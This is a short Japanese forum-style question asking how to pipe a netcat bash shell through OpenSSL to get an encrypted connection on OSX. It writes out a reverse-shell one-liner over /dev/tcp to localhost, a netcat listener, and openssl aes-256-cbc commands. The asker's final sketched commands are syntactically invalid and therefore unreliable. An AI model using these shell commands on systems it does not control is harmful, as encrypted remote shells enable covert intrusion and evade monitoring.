したがって、netcat によって管理される基本的な通信ストリームがあります。たとえば、ユーザーは bash シェルを作成し、制御をポート 5555 で localhost に転送できます。これを OpenSSL 経由でパイプして、対称的に暗号化された接続を実現するにはどうすればよいでしょうか? OSX マシンにインストールされているツールでしか作業できません。
シェルを作成
bash -i >& /dev/tcp/localhost/5555 0>&1
キャッチシェル
nc -l -p 5555
OpenSSL でデータを暗号化する
openssl aes-256-cbc -salt -a -e -in plaintext.txt -out encrypted.txt
OpenSSL を使用してデータを復号化する
openssl aes-256-cbc -salt -a -d -in encrypted.txt -out plaintext.txt
私が探しているものの種類
bash -i & | openssl -e > /dev/tcp/localhost/5555 0>&1
nc -l -p 5555 | openssl -d